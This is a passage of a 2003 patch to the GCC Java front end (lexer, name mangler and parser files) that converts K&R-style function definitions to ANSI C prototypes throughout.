(TREE_CODE (t)) { @@ -961,9 +944,7 @@ java_unsafe_for_reeval (t) to one in the scope of the method being inlined into. */ static int -merge_init_test_initialization (entry, x) - void * * entry; - void * x; +merge_init_test_initialization (void **entry, void *x) { struct treetreehash_entry *ite = (struct treetreehash_entry *) *entry; splay_tree decl_map = (splay_tree)x; @@ -991,9 +972,7 @@ merge_init_test_initialization (entry, x inlining. */ void -java_inlining_merge_static_initializers (fn, decl_map) - tree fn; - void *decl_map; +java_inlining_merge_static_initializers (tree fn, void *decl_map) { htab_traverse (DECL_FUNCTION_INIT_TEST_TABLE (fn), @@ -1007,9 +986,7 @@ java_inlining_merge_static_initializers pre-existing one. */ static int -inline_init_test_initialization (entry, x) - void * * entry; - void * x; +inline_init_test_initialization (void **entry, void *x) { struct treetreehash_entry *ite = (struct treetreehash_entry *) *entry; splay_tree decl_map = (splay_tree)x; @@ -1032,9 +1009,7 @@ inline_init_test_initialization (entry, into, create a new mapping for it. */ void -java_inlining_map_static_initializers (fn, decl_map) - tree fn; - void *decl_map; +java_inlining_map_static_initializers (tree fn, void *decl_map) { htab_traverse (DECL_FUNCTION_INIT_TEST_TABLE (fn), @@ -1044,9 +1019,7 @@ java_inlining_map_static_initializers (f /* Avoid voluminous output for deep recursion of compound exprs. */ static void -dump_compound_expr (di, t) - dump_info_p di; - tree t; +dump_compound_expr (dump_info_p di, tree t) { int i; @@ -1072,9 +1045,7 @@ dump_compound_expr (di, t) } static int -java_dump_tree (dump_info, t) - void *dump_info; - tree t; +java_dump_tree (void *dump_info, tree t) { enum tree_code code; dump_info_p di = (dump_info_p) dump_info; diff -rup orig/egcc-CVS20030110/gcc/java/lex.c egcc-CVS20030110/gcc/java/lex.c --- orig/egcc-CVS20030110/gcc/java/lex.c 2003-01-09 21:35:27.000000000 -0500 +++ egcc-CVS20030110/gcc/java/lex.c 2003-01-10 23:40:42.935643027 -0500 @@ -82,9 +82,7 @@ static int need_byteswap = 0; #endif void -java_init_lex (finput, encoding) - FILE *finput; - const char *encoding; +java_init_lex (FILE *finput, const char *encoding) { #ifndef JC1_LITE int java_lang_imported = 0; @@ -139,9 +137,7 @@ java_init_lex (finput, encoding) } static char * -java_sprint_unicode (line, i) - struct java_line *line; - int i; +java_sprint_unicode (struct java_line *line, int i) { static char buffer [10]; if (line->unicode_escape_p [i] || line->line [i] > 128) @@ -155,13 +151,13 @@ java_sprint_unicode (line, i) } static unicode_t -java_sneak_unicode () +java_sneak_unicode (void) { return (ctxp->c_line->line [ctxp->c_line->current]); } static void -java_unget_unicode () +java_unget_unicode (void) { if (!ctxp->c_line->current) /* Can't unget unicode. */ @@ -172,7 +168,7 @@ java_unget_unicode () } static void -java_allocate_new_line () +java_allocate_new_line (void) { unicode_t ahead = (ctxp->c_line ? ctxp->c_line->ahead[0] : '\0'); char ahead_escape_p = (ctxp->c_line ? @@ -217,9 +213,7 @@ java_allocate_new_line () /* Create a new lexer object. */ java_lexer * -java_new_lexer (finput, encoding) - FILE *finput; - const char *encoding; +java_new_lexer (FILE *finput, const char *encoding) { java_lexer *lex = xmalloc (sizeof (java_lexer)); int enc_error = 0; @@ -306,8 +300,7 @@ java_new_lexer (finput, encoding) } void -java_destroy_lexer (lex) - java_lexer *lex; +java_destroy_lexer (java_lexer *lex) { #ifdef HAVE_ICONV if (! lex->use_fallback) @@ -317,8 +310,7 @@ java_destroy_lexer (lex) } static int -java_read_char (lex) - java_lexer *lex; +java_read_char (java_lexer *lex) { if (lex->unget_value) { @@ -509,10 +501,7 @@ java_read_char (lex) } static void -java_store_unicode (l, c, unicode_escape_p) - struct java_line *l; - unicode_t c; - int unicode_escape_p; +java_store_unicode (struct java_line *l, unicode_t c, int unicode_escape_p) { if (l->size == l->max) { @@ -526,9 +515,7 @@ java_store_unicode (l, c, unicode_escape } static int -java_read_unicode (lex, unicode_escape_p) - java_lexer *lex; - int *unicode_escape_p; +java_read_unicode (java_lexer *lex, int *unicode_escape_p) { int c; @@ -582,9 +569,8 @@ java_read_unicode (lex, unicode_escape_p } static int -java_read_unicode_collapsing_terminators (lex, unicode_escape_p) - java_lexer *lex; - int *unicode_escape_p; +java_read_unicode_collapsing_terminators (java_lexer *lex, + int *unicode_escape_p) { int c = java_read_unicode (lex, unicode_escape_p); @@ -604,7 +590,7 @@ java_read_unicode_collapsing_terminators } static int -java_get_unicode () +java_get_unicode (void) { /* It's time to read a line when... */ if (!ctxp->c_line || ctxp->c_line->current == ctxp->c_line->size) @@ -651,8 +637,7 @@ java_get_unicode () /* Parse the end of a C style comment. * C is the first character following the '/' and '*'. */ static void -java_parse_end_comment (c) - int c; +java_parse_end_comment (int c) { for ( ;; c = java_get_unicode ()) { @@ -681,8 +666,7 @@ java_parse_end_comment (c) character). Parsed keyword(s): @DEPRECATED. */ static int -java_parse_doc_section (c) - int c; +java_parse_doc_section (int c) { int valid_tag = 0, seen_star = 0; @@ -734,8 +718,7 @@ java_parse_doc_section (c) This is only called if C >= 128 -- smaller values are handled inline. However, this function handles all values anyway. */ static int -java_start_char_p (c) - unicode_t c; +java_start_char_p (unicode_t c) { unsigned int hi = c / 256; const char *const page = type_table[hi]; @@ -754,8 +737,7 @@ java_start_char_p (c) This is only called if C >= 128 -- smaller values are handled inline. However, this function handles all values anyway. */ static int -java_part_char_p (c) - unicode_t c; +java_part_char_p (unicode_t c) { unsigned int hi = c / 256; const char *const page = type_table[hi]; @@ -771,7 +753,7 @@ java_part_char_p (c) } static int -java_parse_escape_sequence () +java_parse_escape_sequence (void) { unicode_t char_lit; int c; @@ -840,11 +822,8 @@ java_parse_escape_sequence () static void java_perform_atof (YYSTYPE *, char *, int, int); static void -java_perform_atof (java_lval, literal_token, fflag, number_beginning) - YYSTYPE *java_lval; - char *literal_token; - int fflag; - int number_beginning; +java_perform_atof (YYSTYPE *java_lval, char *literal_token, int fflag, + int number_beginning) { REAL_VALUE_TYPE value; tree type = (fflag ? FLOAT_TYPE_NODE : DOUBLE_TYPE_NODE); @@ -891,11 +870,10 @@ static int yylex (YYSTYPE *); static int #ifdef JC1_LITE -yylex (java_lval) +yylex (YYSTYPE *java_lval) #else -java_lex (java_lval) +java_lex (YYSTYPE *java_lval) #endif - YYSTYPE *java_lval; { int c; unicode_t first_unicode; @@ -1654,8 +1632,7 @@ java_lex (java_lval) case of the largest negative value, and is only called in the case where this value is not preceded by `-'. */ static void -error_if_numeric_overflow (value) - tree value; +error_if_numeric_overflow (tree value) { if (TREE_CODE (value) == INTEGER_CST && JAVA_RADIX10_FLAG (value) @@ -1670,8 +1647,7 @@ error_if_numeric_overflow (value) #endif /* JC1_LITE */ static void -java_unicode_2_utf8 (unicode) - unicode_t unicode; +java_unicode_2_utf8 (unicode_t unicode) { if (RANGE (unicode, 0x01, 0x7f)) obstack_1grow (&temporary_obstack, (char)unicode); @@ -1695,8 +1671,7 @@ java_unicode_2_utf8 (unicode) #ifndef JC1_LITE static tree -build_wfl_node (node) - tree node; +build_wfl_node (tree node) { node = build_expr_wfl (node, ctxp->filename, ctxp->elc.line, ctxp->elc.col); /* Prevent java_complete_lhs from short-circuiting node (if constant). */ @@ -1706,9 +1681,7 @@ build_wfl_node (node) #endif static void -java_lex_error (msg, forward) - const char *msg ATTRIBUTE_UNUSED; - int forward ATTRIBUTE_UNUSED; +java_lex_error (const char *msg ATTRIBUTE_UNUSED, int forward ATTRIBUTE_UNUSED) { #ifndef JC1_LITE ctxp->elc.line = ctxp->c_line->lineno; @@ -1723,9 +1696,7 @@ java_lex_error (msg, forward) #ifndef JC1_LITE static int -java_is_eol (fp, c) - FILE *fp; - int c; +java_is_eol (FILE *fp, int c) { int next; switch (c) @@ -1744,9 +1715,8 @@ java_is_eol (fp, c) #endif char * -java_get_line_col (filename, line, col) - const char *filename ATTRIBUTE_UNUSED; - int line ATTRIBUTE_UNUSED, col ATTRIBUTE_UNUSED; +java_get_line_col (const char *filename ATTRIBUTE_UNUSED, + int line ATTRIBUTE_UNUSED, int col ATTRIBUTE_UNUSED) { #ifdef JC1_LITE return 0; @@ -1822,10 +1792,7 @@ java_get_line_col (filename, line, col) #ifndef JC1_LITE static int -utf8_cmp (str, length, name) - const unsigned char *str; - int length; - const char *name; +utf8_cmp (const unsigned char *str, int length, const char *name) { const unsigned char *limit = str + length; int i; @@ -1953,9 +1920,7 @@ static const char *const cxx_keywords[] /* Return true if NAME is a C++ keyword. */ int -cxx_keyword_p (name, length) - const char *name; - int length; +cxx_keyword_p (const char *name, int length) { int last = ARRAY_SIZE (cxx_keywords); int first = 0; diff -rup orig/egcc-CVS20030110/gcc/java/mangle.c egcc-CVS20030110/gcc/java/mangle.c --- orig/egcc-CVS20030110/gcc/java/mangle.c 2003-01-09 18:13:20.000000000 -0500 +++ egcc-CVS20030110/gcc/java/mangle.c 2003-01-10 23:40:42.945645546 -0500 @@ -71,9 +71,7 @@ struct obstack *mangle_obstack; the vtable. */ tree -java_mangle_decl (obstack, decl) - struct obstack *obstack; - tree decl; +java_mangle_decl (struct obstack *obstack, tree decl) { init_mangling (obstack); switch (TREE_CODE (decl)) @@ -91,9 +89,7 @@ java_mangle_decl (obstack, decl) } tree -java_mangle_class_field (obstack, type) - struct obstack *obstack; - tree type; +java_mangle_class_field (struct obstack *obstack, tree type) { init_mangling (obstack); mangle_record_type (type, /* for_pointer = */ 0); @@ -103,9 +99,7 @@ java_mangle_class_field (obstack, type) } tree -java_mangle_vtable (obstack, type) - struct obstack *obstack; - tree type; +java_mangle_vtable (struct obstack *obstack, tree type) { init_mangling (obstack); MANGLE_RAW_STRING ("TV"); @@ -119,8 +113,7 @@ java_mangle_vtable (obstack, type) /* This mangles a field decl */ static void -mangle_field_decl (decl) - tree decl; +mangle_field_decl (tree decl) { /* Mangle the name of the this the field belongs to */ mangle_record_type (DECL_CONTEXT (decl), /* for_pointer = */ 0); @@ -136,8 +129,7 @@ mangle_field_decl (decl) its arguments. */ static void -mangle_method_decl (mdecl) - tree mdecl; +mangle_method_decl (tree mdecl) { tree method_name = DECL_NAME (mdecl); tree arglist; @@ -177,8 +169,7 @@ mangle_method_decl (mdecl) value if unicode encoding was required. */ static void -mangle_member_name (name) - tree name; +mangle_member_name (tree name) { append_gpp_mangled_name (IDENTIFIER_POINTER (name), IDENTIFIER_LENGTH (name)); @@ -191,8 +182,7 @@ mangle_member_name (name) /* Append the mangled name of TYPE onto OBSTACK. */ static void -mangle_type (type) - tree type; +mangle_type (tree type) { switch (TREE_CODE (type)) { @@ -255,8 +245,7 @@ static int compression_next; function to match pointer entries and start from the end */ static int -find_compression_pointer_match (type) - tree type; +find_compression_pointer_match (tree type) { int i; @@ -270,8 +259,7 @@ find_compression_pointer_match (type) associated with it. */ static int -find_compression_array_match (type) - tree type; +find_compression_array_match (tree type) { return find_compression_pointer_match (type); } @@ -279,8 +267,7 @@ find_compression_array_match (type) /* Match the table of type against STRING. */ static int -find_compression_array_template_match (string) - tree string; +find_compression_array_template_match (tree string) { int i; for (i = 0; i < compression_next; i++) @@ -295,9 +282,7 @@ find_compression_array_template_match (s to the rest of TYPE to be mangled. */ static int -find_compression_record_match (type, next_current) - tree type; - tree *next_current; +find_compression_record_match (tree type, tree *next_current) { int i, match; tree current, saved_current = NULL_TREE; @@ -349,9 +334,7 @@ find_compression_record_match (type, nex symbol, meaning it was preceded by a 'P'. */ static int -mangle_record_type (type, for_pointer) - tree type; - int for_pointer; +mangle_record_type (tree type, int for_pointer) { tree current; int match; @@ -402,8 +385,7 @@ mangle_record_type (type, for_pointer) a partial compression or/plus the rest of the mangling. */ static void -mangle_pointer_type (type) - tree type; +mangle_pointer_type (tree type) { int match; tree pointer_type; @@ -437,8 +419,7 @@ mangle_pointer_type (type) /* atms: array template mangled string. */ static GTY(()) tree atms; static void -mangle_array_type (p_type) - tree p_type; +mangle_array_type (tree p_type) { tree type, elt_type; int match; @@ -526,9 +507,7 @@ emit_compression_string (int i) might all be unique, we find the same RECORD_TYPE.) */ static int -entry_match_pointer_p (type, i) - tree type; - int i; +entry_match_pointer_p (tree type, int i) { tree t = TREE_VEC_ELT (compression_table, i); @@ -549,8 +528,7 @@ entry_match_pointer_p (type, i) part. The result is stored in TYPE_PACKAGE_LIST to be reused. */ static void -set_type_package_list (type) - tree type; +set_type_package_list (tree type) { int i; const char *type_string = IDENTIFIER_POINTER (DECL_NAME (TYPE_NAME (type))); @@ -593,8 +571,7 @@ set_type_package_list (type) compression table if necessary. */ static void -compression_table_add (type) - tree type; +compression_table_add (tree type) { if (compression_next == TREE_VEC_LENGTH (compression_table)) { @@ -612,8 +589,7 @@ compression_table_add (type) /* Mangling initialization routine. */ static void -init_mangling (obstack) - struct obstack *obstack; +init_mangling (struct obstack *obstack) { mangle_obstack = obstack; if (!compression_table) @@ -630,7 +606,7 @@ init_mangling (obstack) IDENTIFIER_NODE. */ static tree -finish_mangling () +finish_mangling (void) { tree result; diff -rup orig/egcc-CVS20030110/gcc/java/mangle_name.c egcc-CVS20030110/gcc/java/mangle_name.c --- orig/egcc-CVS20030110/gcc/java/mangle_name.c 2003-01-09 18:13:20.000000000 -0500 +++ egcc-CVS20030110/gcc/java/mangle_name.c 2003-01-10 23:40:42.945645546 -0500 @@ -53,9 +53,7 @@ extern struct obstack *mangle_obstack; frequently that they could be cached. */ void -append_gpp_mangled_name (name, len) - const char *name; - int len; +append_gpp_mangled_name (const char *name, int len) { int encoded_len = unicode_mangling_length (name, len); int needs_escapes = encoded_len > 0; @@ -76,9 +74,7 @@ append_gpp_mangled_name (name, len) which case `__U' will be mangled `__U_'. */ static void -append_unicode_mangled_name (name, len) - const char *name; - int len; +append_unicode_mangled_name (const char *name, int len) { const unsigned char *ptr; const unsigned char *limit = (const unsigned char *)name + len; @@ -129,9 +125,7 @@ append_unicode_mangled_name (name, len) escapes. If no escapes are needed, return 0. */ static int -unicode_mangling_length (name, len) - const char *name; - int len; +unicode_mangling_length (const char *name, int len) { const unsigned char *ptr; const unsigned char *limit = (const unsigned char *)name + len; @@ -199,9 +193,7 @@ unicode_mangling_length (name, len) so frequently that they could be cached. */ void -append_gpp_mangled_name (name, len) - const char *name; - int len; +append_gpp_mangled_name (const char *name, int len) { const unsigned char *ptr; const unsigned char *limit = (const unsigned char *)name + len; diff -rup orig/egcc-CVS20030110/gcc/java/parse-scan.y egcc-CVS20030110/gcc/java/parse-scan.y --- orig/egcc-CVS20030110/gcc/java/parse-scan.y 2003-01-09 22:04:50.000000000 -0500 +++ egcc-CVS20030110/gcc/java/parse-scan.y 2003-01-10 23:40:42.955643430 -0500 @@ -1176,7 +1176,7 @@ constant_expression: /* Create a new parser context */ void -java_push_parser_context () +java_push_parser_context (void) { struct parser_ctxt *new = xcalloc (1, sizeof (struct parser_ctxt)); @@ -1185,8 +1185,7 @@ java_push_parser_context () } static void -push_class_context (name) - const char *name; +push_class_context (const char *name) { struct class_context *ctx; @@ -1197,7 +1196,7 @@ push_class_context (name) } static void -pop_class_context () +pop_class_context (void) { struct class_context *ctx; @@ -1217,9 +1216,7 @@ pop_class_context () /* Recursively construct the class name. This is just a helper function for get_class_name(). */ static int -make_class_name_recursive (stack, ctx) - struct obstack *stack; - struct class_context *ctx; +make_class_name_recursive (struct obstack *stack, struct class_context *ctx) { if (! ctx) return 0; @@ -1243,7 +1240,7 @@ make_class_name_recursive (stack, ctx) /* Return a newly allocated string holding the name of the class. */ static char * -get_class_name () +get_class_name (void) { char *result; int last_was_digit; @@ -1287,8 +1284,7 @@ get_class_name () /* Actions defined here */ static void -report_class_declaration (name) - const char * name; +report_class_declaration (const char * name) { extern int flag_dump_class, flag_list_filename; @@ -1314,8 +1310,7 @@ report_class_declaration (name) } static void -report_main_declaration (declarator) - struct method_declarator *declarator; +report_main_declaration (struct method_declarator *declarator) { extern int flag_find_main; @@ -1342,7 +1337,7 @@ report_main_declaration (declarator) } void -report () +report (void) { extern int flag_complexity; if (flag_complexity) @@ -1351,7 +1346,7 @@ report () /* Reset global status used by the report functions. */ -void reset_report () +void reset_report (void) { previous_output = 0; package_name = NULL; @@ -1360,8 +1355,7 @@ void reset_report () } void -yyerror (msg) - const char *msg ATTRIBUTE_UNUSED; +yyerror (const char *msg ATTRIBUTE_UNUSED) { fprintf (stderr, "%s: %d: %s\n", input_filename, lineno, msg); exit (1); diff -rup orig/egcc-CVS20030110/gcc/java/parse.y egcc-CVS20030110/gcc/java/parse.y --- orig/egcc-CVS20030110/gcc/java/parse.y 2003-01-10 16:00:28.000000000 -0500 +++ egcc-CVS20030110/gcc/java/parse.y 2003-01-10 23:40:43.065644177 -0500 @@ -2630,8 +2630,7 @@ constant_expression: `dims:' rule is being used. */ static int -pop_current_osb (ctxp) - struct parser_ctxt *ctxp; +pop_current_osb (struct parser_ctxt *ctxp) { int to_return; @@ -2655,8 +2654,7 @@ pop_current_osb (ctxp) created context becomes the current one. */ static void -create_new_parser_context (copy_from_previous) - int copy_from_previous; +create_new_parser_context (int copy_from_previous) { struct parser_ctxt *new; @@ -2676,14 +2674,13 @@ create_new_parser_context (copy_from_pre /* Create a new parser context and make it the current one. */ void -java_push_parser_context () +java_push_parser_context (void) { create_new_parser_context (0); } void -java_pop_parser_context (generate) - int generate; +java_pop_parser_context (int generate) { tree current; struct parser_ctxt *toFree, *next; @@ -2727,7 +2724,7 @@ java_pop_parser_context (generate) variables. */ void -java_parser_context_save_global () +java_parser_context_save_global (void) { if (!ctxp) { @@ -2751,7 +2748,7 @@ java_parser_context_save_global () previous context the current one. */ void -java_parser_context_restore_global () +java_parser_context_restore_global (void) { lineno = ctxp->lineno; current_class = ctxp->class_type; @@ -2773,7 +2770,7 @@ java_parser_context_restore_global () classes be parsed. */ static void -java_parser_context_suspend () +java_parser_context_suspend (void) { /* This makes debugging through java_debug_context easier */ static const char *const name = ""; @@ -2799,7 +2796,7 @@ java_parser_context_suspend () can resume as if no context was ever saved. */ static void -java_parser_context_resume () +java_parser_context_resume (void) { struct parser_ctxt *old = ctxp; /* This one is to be discarded */ struct parser_ctxt *saver = old->next; /* This one contain saved info */ @@ -2826,7 +2823,7 @@ java_parser_context_resume () linked. */ static void -java_parser_context_push_initialized_field () +java_parser_context_push_initialized_field (void) { tree node; @@ -2848,7 +2845,7 @@ java_parser_context_push_initialized_fie or functions. */ static void -java_parser_context_pop_initialized_field () +java_parser_context_pop_initialized_field (void) { tree stmts; tree class_type = TREE_TYPE (GET_CPC ()); @@ -2883,8 +2880,7 @@ java_parser_context_pop_initialized_fiel } static tree -reorder_static_initialized (list) - tree list; +reorder_static_initialized (tree list) { /* We have to keep things in order. The alias initializer have to come first, then the initialized regular field, in reverse to @@ -2920,8 +2916,7 @@ reorder_static_initialized (list) {int i; for (i = 0; i < (C); i++) fputc (' ', stderr);} static void -java_debug_context_do (tab) - int tab; +java_debug_context_do (int tab) { struct parser_ctxt *copy = ctxp; while (copy) @@ -2949,7 +2944,7 @@ java_debug_context_do (tab) debugger. */ void -java_debug_context () +java_debug_context (void) { java_debug_context_do (0); } @@ -2964,7 +2959,7 @@ static int force_error = 0; /* Reporting an constructor invocation error. */ static void -parse_ctor_invocation_error () +parse_ctor_invocation_error (void) { if (DECL_CONSTRUCTOR_P (current_function_decl)) yyerror ("Constructor invocation must be first thing in a constructor"); @@ -2975,8 +2970,7 @@ parse_ctor_invocation_error () /* Reporting JDK1.1 features not implemented. */ static tree -parse_jdk1_1_error (msg) - const char *msg; +parse_jdk1_1_error (const char *msg) { sorry (": `%s' JDK1.1(TM) feature", msg); java_error_count++; @@ -2986,8 +2980,7 @@ parse_jdk1_1_error (msg) static int do_warning = 0; void -yyerror (msg) - const char *msg; +yyerror (const char *msg) { static java_lc elc; static int prev_lineno; @@ -3051,10 +3044,7 @@ yyerror (msg) } static void -issue_warning_error_from_context (cl, msg, ap) - tree cl; - const char *msg; - va_list ap; +issue_warning_error_from_context (tree cl, const char *msg, va_list ap) { const char *saved, *saved_input_filename; char buffer [4096]; @@ -3104,8 +3094,7 @@ parse_warning_context (tree cl, const ch } static tree -find_expr_with_wfl (node) - tree node; +find_expr_with_wfl (tree node) { while (node) { @@ -3148,8 +3137,7 @@ find_expr_with_wfl (node) last line of the method the error occurs in. */ static void -missing_return_error (method) - tree method; +missing_return_error (tree method) { EXPR_WFL_SET_LINECOL (wfl_operator, DECL_SOURCE_LINE_LAST (method), -2); parse_error_context (wfl_operator, "Missing return statement"); @@ -3158,8 +3146,7 @@ missing_return_error (method) /* Issue an unreachable statement error. From NODE, find the next statement to report appropriately. */ static void -unreachable_stmt_error (node) - tree node; +unreachable_stmt_error (tree node) { /* Browse node to find the next expression node that has a WFL. Use the location to report the error */ @@ -3178,7 +3165,7 @@ unreachable_stmt_error (node) } int -java_report_errors () +java_report_errors (void) { if (java_error_count) fprintf (stderr, "%d error%s", @@ -3192,8 +3179,7 @@ java_report_errors () } static char * -java_accstring_lookup (flags) - int flags; +java_accstring_lookup (int flags) { static char buffer [80]; #define COPY_RETURN(S) {strcpy (buffer, S); return buffer;} @@ -3221,9 +3207,7 @@ java_accstring_lookup (flags) variables. */ static void -classitf_redefinition_error (context, id, decl, cl) - const char *context; - tree id, decl, cl; +classitf_redefinition_error (const char *context, tree id, tree decl, tree cl) { parse_error_context (cl, "%s `%s' already defined in %s:%d", context, IDENTIFIER_POINTER (id), @@ -3232,9 +3216,7 @@ classitf_redefinition_error (context, id } static void -variable_redefinition_error (context, name, type, line) - tree context, name, type; - int line; +variable_redefinition_error (tree context, tree name, tree type, int line) { const char *type_name; @@ -3256,9 +3238,7 @@ variable_redefinition_error (context, na the node pointed to by TRIMMED unless TRIMMED is null. */ static int -build_type_name_from_array_name (aname, trimmed) - tree aname; - tree *trimmed; +build_type_name_from_array_name (tree aname, tree *trimmed) { const char *name = IDENTIFIER_POINTER (aname); int len = IDENTIFIER_LENGTH (aname); @@ -3273,8 +3253,7 @@ build_type_name_from_array_name (aname, } static tree -build_array_from_name (type, type_wfl, name, ret_name) - tree type, type_wfl, name, *ret_name; +build_array_from_name (tree type, tree type_wfl, tree name, tree *ret_name) { int more_dims = 0; @@ -3326,8 +3305,7 @@ build_array_from_name (type, type_wfl, n identifier. */ static tree -build_unresolved_array_type (type_or_wfl) - tree type_or_wfl; +build_unresolved_array_type (tree type_or_wfl) { const char *ptr; tree wfl; @@ -3353,8 +3331,7 @@ build_unresolved_array_type (type_or_wfl } static void -parser_add_interface (class_decl, interface_decl, wfl) - tree class_decl, interface_decl, wfl; +parser_add_interface (tree class_decl, tree interface_decl, tree wfl) { if (maybe_add_interface (TREE_TYPE (class_decl), TREE_TYPE (interface_decl))) parse_error_context (wfl, "Interface `%s' repeated", @@ -3365,9 +3342,8 @@ parser_add_interface (class_decl, interf encountered. TAG is 0 for a class, 1 for an interface. */ static int -check_class_interface_creation (is_interface, flags, raw_name, qualified_name, decl, cl) - int is_interface, flags; - tree raw_name, qualified_name, decl, cl; +check_class_interface_creation (int is_interface, int flags, tree raw_name, + tree qualified_name, tree decl, tree cl) { tree node; int sca = 0; /* Static class allowed */ @@ -3483,8 +3459,7 @@ check_class_interface_creation (is_inter /* Construct a nested class name. If the final component starts with a digit, return true. Otherwise return false. */ static int -make_nested_class_name (cpc_list) - tree cpc_list; +make_nested_class_name (tree cpc_list) { tree name; @@ -3507,8 +3482,7 @@ make_nested_class_name (cpc_list) /* Can't redefine a class already defined in an earlier scope. */ static int -check_inner_class_redefinition (raw_name, cl) - tree raw_name, cl; +check_inner_class_redefinition (tree raw_name, tree cl) { tree scope_list; @@ -3528,9 +3502,8 @@ check_inner_class_redefinition (raw_name we remember ENCLOSING and SUPER. */ static tree -resolve_inner_class (circularity_hash, cl, enclosing, super, class_type) - htab_t circularity_hash; - tree cl, *enclosing, *super, class_type; +resolve_inner_class (htab_t circularity_hash, tree cl, tree *enclosing, + tree *super, tree class_type) { tree local_enclosing = *enclosing; tree local_super = NULL_TREE; @@ -3593,8 +3566,7 @@ resolve_inner_class (circularity_hash, c qualified. */ static tree -find_as_inner_class (enclosing, name, cl) - tree enclosing, name, cl; +find_as_inner_class (tree enclosing, tree name, tree cl) { tree qual, to_return; if (!enclosing) @@ -3647,8 +3619,7 @@ find_as_inner_class (enclosing, name, cl through. */ static tree -find_as_inner_class_do (qual, enclosing) - tree qual, enclosing; +find_as_inner_class_do (tree qual, tree enclosing) { if (!qual) return NULL_TREE; @@ -3678,9 +3649,7 @@ find_as_inner_class_do (qual, enclosing) DECL. */ static void -set_nested_class_simple_name_value (outer, set) - tree outer; - int set; +set_nested_class_simple_name_value (tree outer, int set) { tree l; @@ -3690,7 +3659,7 @@ set_nested_class_simple_name_value (oute } static void -link_nested_class_to_enclosing () +link_nested_class_to_enclosing (void) { if (GET_ENCLOSING_CPC ()) { @@ -3702,8 +3671,7 @@ link_nested_class_to_enclosing () } static tree -maybe_make_nested_class_name (name) - tree name; +maybe_make_nested_class_name (tree name) { tree id = NULL_TREE; @@ -3737,8 +3705,8 @@ maybe_make_nested_class_name (name) line CL and do other maintenance things. */ static tree -maybe_create_class_interface_decl (decl, raw_name, qualified_name, cl) - tree decl, raw_name, qualified_name, cl; +maybe_create_class_interface_decl (tree decl, tree raw_name, + tree qualified_name, tree cl) { if (!decl) decl = push_class (make_class (), qualified_name); @@ -3775,8 +3743,7 @@ maybe_create_class_interface_decl (decl, } static void -add_superinterfaces (decl, interface_list) - tree decl, interface_list; +add_superinterfaces (tree decl, tree interface_list) { tree node; /* Superinterface(s): if present and defined, parser_check_super_interface () @@ -3805,9 +3772,7 @@ add_superinterfaces (decl, interface_lis interface's decl in pass 2. */ static tree -create_interface (flags, id, super) - int flags; - tree id, super; +create_interface (int flags, tree id, tree super) { tree raw_name = EXPR_WFL_NODE (id); tree q_name = parser_qualified_classname (raw_name); @@ -3866,8 +3831,7 @@ create_interface (flags, id, super) DEP. */ static void -patch_anonymous_class (type_decl, class_decl, wfl) - tree type_decl, class_decl, wfl; +patch_anonymous_class (tree type_decl, tree class_decl, tree wfl) { tree class = TREE_TYPE (class_decl); tree type = TREE_TYPE (type_decl); @@ -3899,9 +3863,7 @@ patch_anonymous_class (type_decl, class_ } static tree -create_anonymous_class (location, type_name) - int location; - tree type_name; +create_anonymous_class (int location, tree type_name) { char buffer [80]; tree super = NULL_TREE, itf = NULL_TREE; @@ -3943,9 +3905,7 @@ create_anonymous_class (location, type_n interface's decl in pass 2. */ static tree -create_class (flags, id, super, interfaces) - int flags; - tree id, super, interfaces; +create_class (int flags, tree id, tree super, tree interfaces) { tree raw_name = EXPR_WFL_NODE (id); tree class_id, decl; @@ -4051,8 +4011,7 @@ create_class (flags, id, super, interfac parser context if necessary. */ static void -end_class_declaration (resume) - int resume; +end_class_declaration (int resume) { /* If an error occurred, context weren't pushed and won't need to be popped by a resume. */ @@ -4075,9 +4034,7 @@ end_class_declaration (resume) } static void -add_inner_class_fields (class_decl, fct_decl) - tree class_decl; - tree fct_decl; +add_inner_class_fields (tree class_decl, tree fct_decl) { tree block, marker, f; @@ -4165,9 +4122,7 @@ add_inner_class_fields (class_decl, fct_ can't set the CLASS_LOADED_P flag */ static tree -find_field (class, name) - tree class; - tree name; +find_field (tree class, tree name) { tree decl; for (decl = TYPE_FIELDS (class); decl; decl = TREE_CHAIN (decl)) @@ -4182,8 +4137,7 @@ find_field (class, name) of CLASS */ static tree -lookup_field_wrapper (class, name) - tree class, name; +lookup_field_wrapper (tree class, tree name) { tree type = class; tree decl = NULL_TREE; @@ -4222,8 +4176,7 @@ lookup_field_wrapper (class, name) otherwise. */ static int -duplicate_declaration_error_p (new_field_name, new_type, cl) - tree new_field_name, new_type, cl; +duplicate_declaration_error_p (tree new_field_name, tree new_type, tree cl) { /* This might be modified to work with method decl as well */ tree decl = find_field (TREE_TYPE (GET_CPC ()), new_field_name); @@ -4258,9 +4211,7 @@ duplicate_declaration_error_p (new_field be later resolved in java_complete_class () */ static void -register_fields (flags, type, variable_list) - int flags; - tree type, variable_list; +register_fields (int flags, tree type, tree variable_list) { tree current, saved_type; tree class_type = NULL_TREE; @@ -4405,8 +4356,7 @@ register_fields (flags, type, variable_l local(s). */ static tree -generate_finit (class_type) - tree class_type; +generate_finit (tree class_type) { int count = 0; tree list = TYPE_FINIT_STMT_LIST (class_type); @@ -4440,8 +4390,7 @@ generate_finit (class_type) statements in a try/catch/rethrow sequence. */ static tree -generate_instinit (class_type) - tree class_type; +generate_instinit (tree class_type) { tree current; tree compound = NULL_TREE; @@ -4483,8 +4432,7 @@ generate_instinit (class_type) /* FIXME */ static tree -build_instinit_invocation (class_type) - tree class_type; +build_instinit_invocation (tree class_type) { tree to_return = NULL_TREE; @@ -4514,9 +4462,7 @@ static int patch_stage; with a constructor. */ static tree -method_header (flags, type, mdecl, throws) - int flags; - tree type, mdecl, throws; +method_header (int flags, tree type, tree mdecl, tree throws) { tree type_wfl = NULL_TREE; tree meth_name = NULL_TREE; @@ -4726,8 +4672,7 @@ method_header (flags, type, mdecl, throw } static void -fix_method_argument_names (orig_arg, meth) - tree orig_arg, meth; +fix_method_argument_names (tree orig_arg, tree meth) { tree arg = TYPE_ARG_TYPES (TREE_TYPE (meth)); if (TREE_CODE (TREE_TYPE (meth)) == METHOD_TYPE) @@ -4746,8 +4691,7 @@ fix_method_argument_names (orig_arg, met /* Complete the method declaration with METHOD_BODY. */ static void -finish_method_declaration (method_body) - tree method_body; +finish_method_declaration (tree method_body) { int flags; @@ -4805,8 +4749,7 @@ finish_method_declaration (method_body) /* Build a an error message for constructor circularity errors. */ static char * -constructor_circularity_msg (from, to) - tree from, to; +constructor_circularity_msg (tree from, tree to) { static char string [4096]; char *t = xstrdup (lang_printable_name (from, 0)); @@ -4820,8 +4763,7 @@ constructor_circularity_msg (from, to) static GTY(()) tree 